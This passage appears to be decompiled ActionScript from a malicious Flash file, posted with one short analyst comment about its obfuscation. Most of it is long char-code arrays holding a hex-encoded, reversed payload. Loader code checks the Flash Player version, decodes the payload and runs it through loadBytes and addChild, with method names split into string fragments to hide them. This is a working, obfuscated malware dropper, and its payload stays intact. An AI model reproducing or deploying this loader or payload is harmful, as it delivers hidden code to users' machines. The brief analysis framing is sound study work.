49, 54, 51, 52, 48, 51, 48, 70, 48, 66, 54, 52, 69, 65, 67, 53, 69, 54, 50, 55, 48, 54, 55, 57, 55, 51, 49, 54, 51, 65, 69, 53, 66, 50, 54, 66, 56, 65, 53, 53, 65, 69, 49, 55, 49, 66, 51, 56, 53, 51, 52, 65, 68, 70, 51, 54, 66, 57, 53, 53, 69, 67, 69, 70, 52, 65, 48, 48, 50, 51, 66, 54, 66, 57, 69, 49, 68, 52, 66, 49, 68, 48, 65, 48, 51, 66, 67, 57, 69, 67, 66, 65, 67, 68, 69, 48, 51, 68, 70, 52, 48, 50, 66, 54, 55, 67, 53, 51, 51, 68, 56, 57, 54, 70, 53, 52, 57, 67, 49, 54, 54, 69, 54, 54, 51, 49, 65, 53, 68, 68, 52, 68, 69, 50, 49, 53, 51, 65, 52, 66, 67, 50, 56, 54, 65, 67, 53, 68, 69, 51, 66, 48, 67, 48, 51, 50, 48, 56, 49, 66, 67, 57, 54, 57, 55, 70, 70, 49, 66, 68, 53, 54, 53, 57, 68, 48, 65, 56, 50, 68, 56, 49, 66, 54, 55, 66, 57, 53, 53, 51, 70, 65, 68, 55, 55, 69, 52, 48, 55, 69, 55, 51, 54, 51, 48, 51, 65, 70, 56, 52, 53, 67, 69, 68, 67, 52, 52, 52, 69, 52, 67, 65, 55, 48, 51, 69, 57, 56, 67, 56, 52, 55, 53, 52, 68, 68, 54, 55, 51, 56, 65, 53, 66, 68, 52, 49, 66, 50, 48, 50, 67, 52, 67, 53, 53, 50, 65, 51, 70, 65, 67, 54, 52, 66, 52, 57, 54, 55, 52, 69, 57, 67, 56, 57, 57, 66, 67, 52, 68, 49, 52, 70, 57, 52, 70, 53, 67, 54, 55, 55, 69, 68, 67, 67, 70, 51, 67, 66, 66, 56, 69, 52, 49, 65, 56, 48, 52, 55, 48, 70, 55, 53, 55, 66, 69, 50, 50, 56, 68, 51, 50, 66, 69, 51, 56, 70, 57, 69, 70, 65, 49, 48, 65, 53, 51, 66, 48, 65, 52, 54, 66, 65, 54, 55, 69, 53, 69, 68, 65, 69, 65, 53, 65, 54, 50, 70, 68, 54, 70, 67, 53, 49, 48, 67, 52, 50, 67, 56, 56, 50, 66, 50, 53, 51, 55, 69, 65, 69, 69, 50, 65, 69, 54, 66, 70, 53, 48, 50, 49, 49, 52, 65, 50, 68, 65, 57, 49, 50, 67, 51, 50, 70, 67, 52, 55, 55, 66, 53, 65, 65, 55, 56, 56, 51, 50, 57, 65, 48, 52, 48, 55, 69, 67, 49, 66, 57, 69, 52, 66, 57, 55, 55, 66, 53, 52, 57, 65, 50, 48, 70, 56, 65, 68, 53, 51, 53, 50, 57, 54, 68, 52, 70, 53, 55, 66, 55, 69, 56, 52, 56, 50, 48, 55, 48, 53, 55, 66, 56, 65, 68, 70, 65, 55, 52, 51, 53, 54, 66, 51, 66, 49, 66, 51, 55, 69, 67, 56, 57, 51, 49, 54, 66, 54, 56, 57, 68, 66, 66, 68, 54, 69, 48, 51, 50, 53, 68, 52, 55, 48, 53, 55, 51, 55, 69, 68, 56, 48, 65, 51, 70, 50, 49, 65, 70, 68, 57, 52, 55, 66, 57, 68, 56, 69, 49, 55, 54, 51, 48, 49, 66, 70, 68, 53, 49, 48, 48, 50, 55, 65, 68, 67, 68, 54, 55, 56, 53, 52, 65, 53, 50, 67, 68, 55, 69, 49, 56, 68, 67, 54, 55, 53, 48, 70, 67, 65, 69, 48, 56, 50, 52, 56, 68, 48, 50, 52, 51, 56, 67, 49, 51, 55, 52, 70, 68, 53, 49, 53, 57, 56, 48, 66, 66, 67, 56, 49, 67, 65, 48, 70, 56, 67, 66, 49, 67, 57, 51, 56, 65, 53, 55, 56, 66, 50, 69, 50, 66, 65, 66, 54, 51, 51, 66, 70, 48, 69, 56, 66, 56, 70, 70, 48, 67, 50, 55, 48, 68, 55, 69, 56, 48, 67, 53, 67, 57, 48, 54, 54, 53, 55, 69, 65, 65, 65, 49, 52, 67, 51, 67, 69, 65, 69, 66, 48, 52, 54, 55, 66, 55, 67, 65, 56, 57, 51, 48, 53, 51, 65, 50, 52, 53, 53, 56, 54, 54, 67, 69, 69, 48, 57, 68, 54, 69, 53, 51, 53, 70, 65, 53, 55, 66, 48, 54, 65, 65, 70, 48, 49, 48, 55, 67, 53, 55, 66, 69, 49, 66, 48, 53, 65, 68, 67, 48, 51, 68, 54, 56, 53, 57, 53, 66, 66, 70, 48, 54, 66, 51, 50, 69, 68, 66, 70, 65, 54, 55, 57, 68, 53, 49, 54, 48, 53, 56, 69, 52, 49, 49, 56, 55, 57, 51, 65, 65, 53, 57, 54, 49, 55, 53, 52, 66, 48, 49, 56, 67, 48, 68, 49, 67, 68, 67, 68, 49, 54, 49, 51, 52, 65, 56, 68, 69, 52, 53, 50, 65, 54, 50, 67, 68, 54, 49, 55, 49, 50, 52, 70, 56, 69, 56, 65, 53, 55, 53, 66, 56, 49, 52, 52, 70, 65, 57, 48, 48, 53, 68, 68, 57, 54, 51, 68, 68, 50, 66, 51, 67, 55, 69, 49, 56, 66, 68, 51, 69, 49, 56, 65, 66, 54, 48, 50, 56, 53, 66, 48, 65, 55, 56, 54, 56, 56, 49, 54, 53, 49, 48, 70, 49, 69, 56, 67, 67, 65, 50, 67, 66, 49, 52, 49, 48, 70, 67, 69, 57, 57, 49, 50, 55, 50, 57, 52, 65, 48, 68, 54, 67, 52, 65, 66, 52, 54, 56, 68, 53, 65, 65, 50, 57, 69, 49, 52, 65, 50, 57, 70, 69, 65, 48, 56, 55, 48, 49, 66, 67, 48, 56, 53, 50, 51, 67, 67, 48, 56, 50, 48, 69, 70, 70, 52, 56, 48, 51, 51, 50, 67, 57, 48, 52, 50, 68, 52, 66, 67, 56, 66, 54, 66, 68, 70, 69, 56, 57, 70, 67, 52, 69, 54, 69, 55, 48, 57, 50, 55, 53, 52, 50, 54, 70, 50, 65, 69, 56, 56, 57, 57, 56, 70, 65, 67, 53, 57, 48, 57, 53, 53, 65, 53, 55, 49, 52, 68, 54, 68, 68, 65, 52, 68, 57, 53, 55, 68, 53, 49, 69, 49, 65, 53, 49, 69, 56, 55, 67, 51, 54, 57, 65, 51, 67, 67, 50, 54, 49, 51, 66, 69, 52, 65, 69, 50, 67, 54, 51, 65, 68, 49, 52, 52, 53, 48, 49, 50, 55, 54, 68, 48, 66, 69, 53, 53, 48, 70, 69, 54, 57, 48, 56, 56, 53, 57, 53, 51, 67, 54, 55, 65, 57, 70, 67, 68, 49, 54, 55, 66, 56, 66, 55, 66, 65, 54, 53, 48, 49, 52, 53, 50, 69, 67, 66, 69, 53, 48, 53, 65, 50, 55, 55, 49, 67, 68, 54, 54, 54, 67, 68, 50, 67, 50, 48, 50, 67, 48, 67, 55, 49, 69, 57, 51, 66, 54, 56, 69, 53, 68, 68, 65, 66, 53, 68, 65, 48, 65, 66, 48, 66, 56, 70, 68, 49, 55, 65, 49, 53, 54, 56, 70, 55, 56, 49, 70, 68, 66, 50, 48, 67, 48, 49, 69, 69, 69, 55, 67, 56, 51, 69, 51, 54, 51, 54, 68, 54, 49, 55, 70, 66, 48, 69, 70, 49, 52, 52, 49, 67, 65, 52, 67, 49, 51, 48, 70, 66, 69, 68, 48, 56, 70, 49, 69, 70, 50, 56, 70, 65, 70, 49, 55, 54, 70, 54, 70, 68, 55, 54, 57, 68, 69, 67, 67, 56, 68, 65, 52, 54, 55, 56, 67, 54, 49, 55, 65, 57, 51, 51, 57, 51, 55, 70, 68, 66, 68, 68, 51, 52, 48, 67, 70, 55, 66, 65, 68, 53, 68, 65, 50, 69, 55, 68, 66, 53, 68, 69, 68, 55, 51, 49, 65, 70, 69, 49, 50, 53, 65, 70, 70, 53, 51, 52, 68, 69, 49, 65, 67, 68, 48, 67, 48, 56, 55, 57, 56, 48, 52, 49, 65, 48, 55, 55, 48, 65, 68, 53, 51, 56, 68, 56, 68, 49, 54, 52, 50, 57, 57, 48, 52, 69, 70, 56, 67, 50, 55, 55, 50, 53, 65, 49, 52, 48, 66, 57, 56, 49, 49, 53, 67, 69, 53, 53, 54, 66, 66, 51, 68, 49, 65, 56, 52, 50, 52, 67, 48, 50, 50, 49, 49, 56, 68, 48, 56, 66, 48, 56, 65, 52, 65, 54, 69, 52, 54, 50, 49, 49, 53, 51, 57, 53, 57, 66, 66, 67, 68, 49, 52, 50, 54, 54, 66, 54, 53, 55, 53, 68, 66, 49, 54, 55, 66, 68, 56, 49, 53, 57, 65, 68, 56, 55, 48, 48, 48, 48, 69, 49, 70, 54, 56, 48, 51, 53, 55, 53, 51, 52);
  29.             _local2 = "";
  30.             i = 0;
  31.             while (i < _local13.length) {
  32.                 _local2 = (_local2 + string.fromcharcode(_local13[i]));
  33.                 i++;
  34.             };
  35.             _local2 = this.str_replace(_local2, ((((((((((((((("!" + "X") + "X") + "") + "X") + "X") + "!0") + "3") + "9") + "4") + "3") + "4!") + "X") + "X") + "X") + "!"), "");
  36.             _local2 = this.func1(_local2);
  37.             var _local12:* = ((((((((((("g" + "ge") + "w") + "g") + "e") + "wh") + "w") + "e") + "w") + "g") + "qw") + "g");
  38.             var _local14 = _local4;
  39.             _local14[(((((((((((("" + "l") + "o") + "") + "a") + "d") + "B") + "y") + "t") + "e") + "") + "") + "s")](this.h2b(_local2));
  40.             _local14 = this;
  41.             _local14[((((((((((("a" + "") + "d") + "") + "d") + "") + "") + "C") + "h") + "i") + "l") + "d")](_local4);
  42.         }
  43.         public function func1(_arg1:string):string{
  44.             var _local2:* = _arg1.split("");
  45.             var _local3 = _local2;
  46.             _local3[((((("r" + "e") + "ve") + "r") + "s") + "e")]();
  47.             return (_local2.join(""));
  48.         }
  49.         private function a(_arg1){
  50.             return (_arg1.split(("," + "")));
  51.         }
  52.         private function b(){
  53.             return (new Loader());
  54.         }
  55.         public function str_replace(_arg1:string, _arg2:string, _arg3:string):string{
  56.             return (_arg1.split(_arg2).join(_arg3));
  57.         }
  58.         public function h2b(_arg1:string):ByteArray{
  59.             var _local2:int;
  60.             var _local3:int;
  61.             var _local4:string;
  62.             var _local5:* = new ByteArray();
  63.             while (_local2 < _arg1.length) {
  64.                 _local4 = _arg1.substr(_local2, 2);
  65.                 _local3 = parseint(_local4, 16);
  66.                 _local5.writeByte(_local3);
  67.                 _local2 = (_local2 + 2);
  68.             };
  69.             return (_local5);
  70.         }
  71.         public function strrepeat(_arg1:string, _arg2:int):string{
  72.             var _local3:string;
  73.             var _local4:int;
  74.             _local4 = 0;
  75.             while (_local4 < _arg2) {
  76.                 _local3 = (_local3 + _arg1);
  77.                 _local4++;
  78.             };
  79.             return (_local3);
  80.         }
  81.  
  82.     }
  83. }//package
  84.  
  85. ----------------------------------------------------------------------------------------------
  86.  
  87. // Let(s focus into the below function, why?
  88. // It has the obfuscation code inside...
  89. // Just strips those function flags...
  90.  
  91. var _local13:*;
  92. super();
  93. var _local1:string;
  94. var _local2:string;
  95. var _local3:* = undefined;
  96. var _local4:* = this.b();
  97. var _local5:* = capabilities[(((((((((("v" + "") + "e") + "r") + "") + "s") + "i") + "o") + "") + "") + "n")];
  98. var _local6:* = capabilities[(((((((("v" + "e") + "r") + "") + "") + "s") + "i") + "o") + "n")].split(((" " + "") + ""));
  99. var _local7:* = _local5.split((((" " + "") + "") + ""))[0];
  100. var _local8:* = this.a(_local6[1]);
  101. var _local9:* = parseint(_local8[0]);
  102. var _local10:* = parseint(_local8[1]);
  103. var _local11:* = parseint(_local8[2]);
  104. _local3 = 2;
  105.  
  106. _local13 = new array(54, 54, 69, 51, 54, 57, 65, 48, 49, 48, 70, 70, 48, 69, 53, 52, 56, 49, 53, 48, 57, 53, 70, 50, 49, 70, 49, 68, 70, 51, 54, 48, 57, 53, 54, 68, 69, 48, 51, 70, 66, 67, 48, 70, 70, 65, 70, 57, 49, 48, 57, 49, 67, 69, 51, 57, 65, 70, 69, 67, 55, 67, 70, 66, 66, 65, 67, 55, 51, 65, 56, 70, 51, 56, 69, 65, 49, 54, 50, 70, 70, 54, 69, 48, 57, 53, 69, 68, 56, 49, 48, 69, 69, 53, 54, 50, 48, 52, 48, 65, 69, 69, 57, 48, 52, 55, 48, 56, 54, 65, 67, 70, 51, 66, 66, 52, 55, 70, 49, 68, 54, 56, 49, 53, 55, 57, 49, 68, 54, 70, 53, 52, 53, 69, 53, 54, 67, 56, 50, 67, 67, 70, 53, 48, 66, 48, 54, 69, 51, 51, 55, 67, 70, 57, 48, 65, 69, 65, 67, 55, 50, 55, 56, 53, 53, 67, 56, 53, 70, 54, 56, 67, 69, 67, 54, 67, 67, 70, 54, 56, 49, 51, 54, 53, 55, 54, 56, 67, 66, 53, 68, 57, 51, 66, 55, 70, 50, 69, 50, 48, 52, 51, 67, 70, 53, 48, 51, 53, 48, 70, 56, 51, 51, 57, 48, 70, 52, 49, 70, 52, 48, 67, 51, 54, 54, 51, 70, 51, 49, 49, 56, 56, 56, 70, 49, 66, 69, 70, 66, 50, 52, 51, 48, 69, 54, 50, 65, 51, 55, 55, 67, 52, 52, 48, 69, 69, 53, 51, 51, 50, 65, 49, 68, 51, 50, 55, 49, 51, 66, 70, 49, 55, 48, 49, 69, 66, 52, 67, 51, 54, 56, 67, 56, 54, 69, 66, 52, 67, 57, 48, 68, 55, 56, 56, 51, 54, 54, 69, 51, 50, 48, 50, 50, 52, 69, 69, 70, 48, 54, 55, 51, 65, 68, 52, 70, 68, 56, 69, 52, 52, 56, 69, 56, 50, 66, 50, 70, 54, 56, 69, 55, 50, 70, 66, 48, 49, 49, 50, 57, 57, 70, 49, 57, 50, 52, 57, 55, 50, 69, 69, 48, 65, 48, 49, 66, 68, 55, 56, 67, 68, 49, 53, 70, 48, 50, 56, 50, 50, 67, 54, 67, 57, 67, 50, 57, 55, 50, 66, 49, 55, 69, 56, 68, 54, 49, 57, 51, 69, 49, 67, 69, 49, 70, 51, 55, 66, 55, 50, 52, 68, 57, 56, 69, 51, 70, 51, 55, 66, 55, 52, 56, 56, 54, 70, 65, 50, 70, 51, 69, 49, 69, 69, 69, 53, 49, 51, 53, 50, 48, 70, 51, 66, 50, 53, 51, 50, 57, 68, 56, 65, 51, 50, 54, 68, 53, 68, 48, 50, 65, 70, 68, 67, 51, 70, 66, 67, 49, 55, 54, 68, 68, 50, 50, 49, 55, 54, 69, 50, 70, 56, 67, 49, 69, 48, 48, 50, 67, 70, 53, 48, 51, 48, 48, 70, 69, 50, 53, 69, 66, 57, 70, 69, 57, 66, 65, 67, 66, 70, 68, 67, 54, 67, 69, 67, 53, 56, 57, 54, 52, 68, 48, 69, 50, 49, 65, 55, 48, 51, 55, 54, 52, 52, 54, 55, 65, 51, 49, 50, 69, 55, 54, 70, 49, 51, 49, 68, 55, 51, 66, 55, 66, 67, 53, 68, 66, 68, 66, 55, 53, 68, 67, 56, 55, 56, 51, 65, 51, 69, 55, 68, 69, 49, 70, 56, 65, 51, 51, 69, 49, 68, 68, 68, 52, 48, 57, 51, 52, 48, 55, 55, 57, 53, 52, 49, 55, 68, 67, 53, 65, 53, 65, 57, 55, 57, 70, 48, 68, 52, 49, 67, 52, 66, 50, 69, 70, 69, 67, 49, 68, 67, 68, 53, 49, 55, 67, 50, 53, 68, 52, 69, 51, 55, 69, 51, 49, 51, 51, 55, 68, 67, 69, 67, 56, 70, 57, 66, 51, 49, 49, 57, 69, 66, 69, 50, 49, 70, 57, 50, 48, 54, 68, 53, 68, 53, 53, 55, 57, 53, 48, 57, 69, 55, 65, 57, 56, 67, 51, 57, 68, 66, 56, 70, 54, 49, 49, 70, 55, 55, 52, 69, 55, 55, 55, 49, 69, 55, 53, 54, 69, 66, 69, 68, 67, 70, 69, 56, 54, 70, 65, 70, 54, 52, 53, 69, 65, 66, 69, 68, 56, 70, 56, 68, 68, 69, 70, 54, 52, 65, 66, 54, 56, 49, 48, 65, 65, 55, 65, 53, 54, 67, 51, 70, 69, 55, 57, 52, 54, 49, 67, 66, 51, 51, 55, 51, 70, 57, 52, 65, 53, 66, 49, 69, 57, 57, 65, 68, 49, 68, 68, 54, 49, 54, 67, 66, 56, 49, 55, 67, 55, 65, 49, 66, 50, 56, 67, 49, 66, 50, 53, 55, 54, 69, 68, 53, 54, 57, 55, 50, 53, 49, 69, 51, 69, 65, 51, 54, 55, 68, 55, 66, 49, 49, 66, 54, 56, 68, 54, 48, 49, 70, 50, 52, 55, 66, 66, 56, 49, 54, 65, 70, 66, 68, 69, 66, 57, 49, 55, 66, 54, 70, 50, 51, 48, 55, 54, 52, 49, 50, 67, 70, 50, 49, 70, 49, 68, 53, 68, 67, 54, 66, 48, 53, 70, 70, 53, 50, 57, 69, 66, 56, 68, 69, 65, 55, 53, 56, 52, 54, 69, 50, 66, 65, 54, 55, 54, 53, 48, 69, 55, 70, 49, 54, 53, 51, 57, 55, 50, 50, 66, 57, 67, 55, 70, 65, 52, 50, 55, 53, 67, 54, 70, 65, 55, 66, 57, 48, 49, 70, 55, 69, 49, 67, 48, 52, 65, 49, 70, 52, 66, 69, 49, 65, 51, 54, 55, 57, 66, 65, 54, 65, 67, 56, 56, 54, 49, 70, 68, 51, 54, 52, 70, 56, 54, 54, 68, 70, 54, 52, 70, 56, 50, 57, 54, 48, 51, 55, 54, 53, 49, 66, 55, 70, 66, 69, 66, 55, 50, 65, 55, 57, 70, 68, 68, 67, 65, 51, 53, 48, 68, 56, 66, 49, 65, 48, 50, 70, 65, 55, 54, 49, 69, 69, 49, 49, 53, 68, 49, 65, 57, 50, 68, 55, 52, 67, 51, 51, 66, 51, 54, 70, 51, 65, 50, 50, 53, 54, 51, 67, 48, 55, 56, 51, 56, 48, 66, 68, 55, 70, 65, 68, 52, 49, 67, 51, 65, 49, 54, 68, 56, 50, 66, 57, 65, 70, 51, 54, 54, 49, 54, 56, 50, 69, 68, 69, 52, 68, 53, 48, 51, 69, 70, 53, 67, 56, 48, 57, 68, 67, 70, 51, 55, 65, 65, 53, 70, 66, 49, 49, 49, 55, 57, 49, 69, 55, 69, 50, 67, 56, 55, 57, 49, 70, 55, 49, 56, 70, 49, 55, 65, 65, 69, 50, 48, 65, 56, 57, 70, 66, 49, 53, 56, 56, 69, 49, 48, 65, 54, 66, 52, 57, 65, 49, 52, 57, 65, 68, 56, 49, 70, 50, 55, 49, 65, 66, 51, 69, 48, 65, 70, 57, 68, 51, 48, 52, 52, 51, 52, 53, 51, 67, 67, 70, 69, 70, 51, 54, 52, 55, 65, 55, 57, 49, 48, 70, 67, 55, 55, 50, 49, 53, 53, 65, 55, 49, 48, 55, 55, 50, 54, 55, 54, 49, 57, 56, 66, 54, 70, 68, 69, 53, 56, 49, 52, 51, 57, 55, 57, 53, 55, 52, 51, 54, 54, 53, 69, 56, 51, 65, 68, 68, 52, 65, 49, 49, 50, 70, 51, 67, 68, 68, 66, 56, 70, 57, 56, 52, 54, 65, 67, 56, 49, 70, 48, 55, 49, 66, 66, 56, 52, 56, 56, 54, 53, 66, 52, 51, 55, 54, 50, 48, 57, 54, 55, 70, 70, 53, 68, 52, 56, 69, 68, 70, 55, 68, 66, 66, 57, 54, 65, 48, 53, 70, 53, 53, 56, 50, 67, 52, 65, 48, 66, 51, 68, 55, 50, 68, 56, 49, 54, 70, 51, 54, 54, 54, 70, 53, 51, 66, 66, 65, 53, 53, 70, 69, 49, 69, 66, 57, 56, 70, 53, 51, 53, 49, 49, 66, 68, 66, 67, 51, 49, 49, 57, 68, 70, 55, 50, 67, 67, 69, 67, 70, 65, 56, 54, 68, 48, 52, 51, 55, 48, 65, 52, 70, 52, 68, 50, 65, 55, 53, 66, 56, 67, 66, 66, 57, 67, 70, 69, 52, 51, 48, 67, 56, 69, 66, 54, 51, 51, 57, 56, 67, 69, 51, 50, 51, 52, 70, 56, 68, 70, 50, 48, 67, 55, 66, 65, 68, 67, 70, 69, 56, 54, 70, 70, 66, 50, 50, 70, 67, 66, 55, 66, 53, 68, 70, 69, 55, 69, 50, 57, 54, 54, 51, 66, 52, 56, 70, 68, 70, 65, 70, 49, 66, 69, 56, 56, 68, 50, 55, 51, 66, 49, 70, 68, 50, 49, 52, 51, 52, 48, 52, 48, 57, 68, 70, 65, 70, 48, 51, 56, 53, 57, 65, 56, 68, 67, 49, 50, 57, 49, 56, 70, 68, 53, 67, 52, 65, 68, 49, 51, 57, 52, 53, 54, 67, 70, 54, 70, 68, 48, 48, 55, 57, 48, 66, 65, 50, 67, 54, 67, 51, 49, 68, 52, 52, 68, 67, 48, 65, 54, 56, 52, 54, 65, 57, 67, 56, 56, 55, 53, 49, 49, 66, 50, 65, 66, 49, 48, 56, 66, 53, 56, 49, 51, 56, 65, 50, 52, 68, 56, 53, 65, 67, 54, 65, 66, 54, 57, 48, 50, 66, 66, 67, 55, 67, 52, 48, 69, 66, 66, 49, 56, 51, 52, 49, 69, 49, 68, 52, 53, 68, 55, 49, 57, 54, 67, 69, 68, 53, 66, 53, 56, 48, 54, 55, 67, 54, 67, 55, 53, 66, 52, 55, 65, 50, 56, 55, 69, 67, 53, 49, 65, 66, 52, 66, 49, 54, 68, 53, 49, 68, 67, 55, 68, 50, 52, 51, 55, 65, 50, 56, 48, 55, 57, 53, 50, 54, 48, 70, 48, 57, 52, 48, 53, 69, 51, 56, 66, 50, 56, 56, 69, 65, 56, 66, 56, 53, 69, 66, 70, 57, 50, 65, 69, 57, 66, 54, 70, 51, 65, 54, 65, 66, 65, 68, 67, 66, 53, 49, 52, 67, 66, 68, 67, 68, 57, 66, 68, 52, 65, 55, 69, 57, 50, 70, 70, 48, 67, 67, 68, 50, 55, 53, 65, 53, 57, 57, 53, 50, 48, 57, 50, 49, 53, 49, 67, 49, 49, 54, 49, 66, 66, 67, 70, 52, 48, 50, 56, 54, 66, 51, 67, 68, 56, 57, 70, 56, 54, 50, 70, 66, 54, 57, 68, 54, 57, 54, 48, 68, 68, 67, 56, 52, 67, 68, 67, 69, 50, 52, 55, 70, 56, 55, 52, 52, 55, 70, 57, 53, 70, 67, 52, 51, 54, 69, 51, 55, 57, 52, 57, 57, 55, 55, 50, 70, 57, 57, 56, 65, 56, 66, 50, 53, 68, 69, 49, 68, 49, 68, 68, 68, 53, 68, 49, 57, 54, 57, 67, 66, 50, 66, 65, 54, 48, 50, 68, 68, 48, 65, 70, 48, 51, 56, 49, 67, 56, 69, 49, 69, 66, 67, 48, 65, 68, 68, 68, 48, 57, 55, 68, 48, 55, 66, 51, 70, 51, 50, 52, 49, 67, 67, 51, 70, 70, 56, 69, 69, 53, 67, 53, 69, 66, 56, 66, 56, 65, 67, 51, 70, 56, 55, 70, 53, 55, 54, 48, 52, 69, 48, 48, 69, 65, 66, 50, 65, 54, 55, 67, 48, 53, 65, 57, 69, 56, 66, 55, 54, 65, 54, 70, 48, 54, 48, 66, 49, 69, 65, 48, 55, 52, 69, 54, 69, 67, 49, 52, 57, 57, 66, 50, 53, 54, 54, 68, 67, 56, 56, 68, 48, 54, 49, 70, 68, 65, 49, 57, 65, 53, 53, 52, 55, 68, 52, 69, 65, 56, 67, 48, 55, 52, 57, 70, 57, 55, 65, 54, 53, 56, 53, 53, 65, 66, 50, 51, 50, 57, 67, 48, 68, 66, 48, 55, 54, 50, 51, 65, 49, 69, 67, 52, 54, 55, 57, 69, 55, 50, 48, 52, 50, 67, 67, 54, 53, 67, 70, 66, 51, 66, 66, 55, 49, 66, 51, 56, 51, 54, 50, 54, 49, 57, 55, 68, 57, 67, 57, 51, 53, 55, 65, 70, 54, 57, 52, 51, 57, 54, 53, 57, 55, 68, 69, 57, 67, 54, 66, 55, 49, 57, 52, 66, 66, 51, 65, 69, 67, 67, 49, 65, 66, 68, 70, 51, 49, 67, 67, 57, 54, 65, 70, 52, 56, 51, 65, 66, 52, 56, 50, 49, 55, 65, 49, 67, 50, 55, 49, 51, 67, 67, 50, 49, 69, 57, 67, 68, 68, 66, 57, 55, 53, 67, 54, 48, 49, 48, 70, 51, 67, 56, 68, 65, 54, 57, 56, 56, 70, 67, 52, 48, 65, 66, 65, 49, 50, 65, 52, 54, 48, 57, 52, 54, 51, 55, 50, 54, 55, 49, 55, 48, 65, 49, 69, 53, 48, 66, 51, 65, 67, 57, 70, 55, 69, 65, 48, 69, 68, 66, 53, 51, 53, 48, 70, 56, 51, 70, 51, 51, 56, 69, 66, 69, 51, 54, 54, 53, 54, 52, 67, 55, 50, 57, 56, 52, 56, 67, 57, 66, 55, 65, 48, 70, 50, 53, 57, 54, 52, 67, 55, 69, 69, 68, 52, 56, 56, 67, 52, 55, 65, 57, 54, 55, 53, 56, 70, 67, 68, 51, 56, 69, 48, 57, 49, 53, 50, 51, 69, 52, 55, 54, 51, 54, 52, 69, 49, 49, 65, 56, 56, 48, 65, 66, 68, 69, 51, 51, 52, 54, 52, 50, 70, 66, 53, 66, 53, 70, 49, 65, 56, 67, 67, 49, 48, 55, 52, 55, 68, 57, 66, 53, 69, 57, 65, 67, 57, 54, 67, 51, 70, 57, 54, 55, 69, 49, 66, 56, 67, 57, 50, 65, 69, 50, 70, 51, 51, 66, 54, 49, 52, 48, 50, 65, 68, 66, 65, 68, 50, 54, 51, 67, 50, 55, 65, 65, 56, 68, 67, 52, 52, 49, 51, 48, 55, 69, 67, 53, 65, 67, 69, 57, 48, 57, 51, 67, 50, 55, 49, 56, 55, 57, 67, 52, 56, 49, 51, 67, 66, 53, 66, 56, 67, 52, 66, 69, 57, 51, 50, 66, 50, 65, 70, 52, 53, 48, 55, 52, 56, 70, 67, 70, 53, 66, 68, 56, 54, 48, 54, 55, 51, 52, 57, 49, 68, 70, 52, 68, 67, 68, 68, 56, 66, 54, 48, 69, 66, 65, 66, 65, 50, 67, 54, 49, 51, 70, 67, 53, 68, 56, 66, 66, 70, 69, 67, 67, 69, 51, 51, 68, 50, 70, 55, 57, 50, 52, 56, 65, 70, 57, 57, 53, 67, 68, 66, 48, 50, 49, 49, 54, 66, 52, 49, 50, 54, 51, 65, 68, 65, 49, 56, 56, 69, 66, 50, 49, 50, 48, 50, 67, 65, 67, 66, 55, 69, 53, 67, 48, 51, 66, 56, 54, 51, 57, 48, 49, 51, 48, 69, 67, 54, 50, 55, 52, 66, 49, 51, 56, 57, 65, 65, 49, 50, 51, 54, 56, 51, 51, 66, 67, 56, 66, 65, 49, 53, 69, 48, 70, 51, 67, 67, 55, 65, 48, 52, 66, 52, 49, 65, 66, 67, 70, 53, 70, 50, 67, 67, 51, 67, 55, 68, 67, 67, 52, 69, 70, 48, 49, 54, 56, 57, 68, 52, 50, 48, 52, 54, 54, 68, 68, 55, 65, 67, 52, 50, 68, 67, 67, 53, 50, 66, 54, 56, 69, 57, 67, 51, 68, 53, 51, 49, 50, 69, 56, 67, 69, 70, 68, 66, 49, 54, 50, 51, 48, 49, 51, 53, 65, 50, 49, 53, 57, 54, 57, 67, 53, 55, 67, 48, 54, 68, 53, 66, 65, 52, 50, 54, 56, 69, 53, 57, 48, 66, 70, 68, 57, 52, 53, 66, 52, 65, 66, 69, 54, 65, 54, 52, 67, 54, 57, 68, 52, 67, 55, 49, 49, 66, 53, 66, 67, 55, 67, 70, 68, 56, 48, 57, 49, 67, 68, 57, 51, 53, 54, 48, 68, 53, 49, 70, 69, 52, 68, 65, 52, 51, 56, 70, 50, 68, 70, 57, 70, 52, 66, 57, 51, 68, 70, 52, 51, 56, 50, 54, 55, 70, 65, 51, 51, 52, 51, 49, 56, 53, 51, 48, 53, 53, 53, 50, 55, 68, 67, 53, 56, 49, 70, 50, 56, 55, 66, 51, 57, 57, 67, 52, 55, 69, 48, 67, 53, 50, 55, 68, 56, 55, 54, 54, 51, 49, 52, 48, 69, 67, 48, 51, 54, 52, 48, 50, 66, 65, 50, 51, 57, 69, 54, 53, 51, 54, 69, 51, 53, 54, 53, 51, 69, 57, 54, 54, 49, 67, 57, 65, 51, 53, 70, 49, 49, 52, 65, 67, 67, 51, 68, 50, 69, 69, 57, 65, 51, 49, 54, 56, 68, 49, 49, 57, 57, 52, 49, 57, 68, 57, 65, 48, 56, 55, 48, 68, 56, 69, 50, 52, 52, 57, 50, 53, 69, 66, 65, 70, 56, 49, 49, 67, 49, 69, 51, 68, 48, 69, 66, 68, 50, 48, 50, 51, 57, 48, 67, 67, 50, 49, 55, 54, 67, 67, 65, 67, 49, 65, 53, 65, 67, 65, 57, 57, 51, 54, 53, 53, 69, 52, 57, 57, 50, 54, 48, 56, 65, 69, 50, 51, 57, 65, 67, 57, 48, 57, 51, 65, 69, 49, 69, 66, 48, 48, 53, 54, 50, 65, 53, 53, 53, 52, 50, 65, 51, 70, 67, 69, 51, 68, 67, 66, 70, 50, 48, 49, 51, 49, 56, 55, 50, 57, 69, 57, 49, 69, 49, 55, 48, 50, 56, 67, 70, 66, 57, 57, 52, 49, 48, 48, 69, 53, 53, 49, 67, 56, 66, 68, 69, 49, 49, 66, 65, 48, 70, 49, 70, 66, 53, 53, 66, 66, 70, 68, 70, 66, 53, 54, 54, 48, 55, 52, 57, 67, 65, 50, 57, 48, 51, 51, 57, 48, 65, 67, 50, 54, 48, 48, 69, 65, 70, 66, 55, 70, 57, 55, 55, 50, 54, 55, 51, 65, 68, 55, 69, 68, 69, 51, 66, 66, 53, 53, 70, 70, 55, 55, 52, 57, 66, 55, 53, 66, 70, 54, 55, 70, 56, 55, 55, 50, 48, 68, 65, 69, 49, 56, 54, 70, 57, 54, 56, 52, 50, 51, 67, 51, 65, 56, 52, 52, 57, 57, 65, 51, 50, 68, 69, 54, 57, 50, 51, 68, 55, 55, 56, 50, 54, 68, 49, 68, 48, 50, 66, 55, 69, 57, 49, 66, 68, 65, 49, 66, 53, 57, 57, 52, 55, 55, 51, 54, 69, 69, 52, 55, 53, 51, 65, 50, 56, 67, 52, 51, 56, 67, 68, 52, 69, 68, 49, 65, 49, 68, 70, 52, 65, 53, 53, 53, 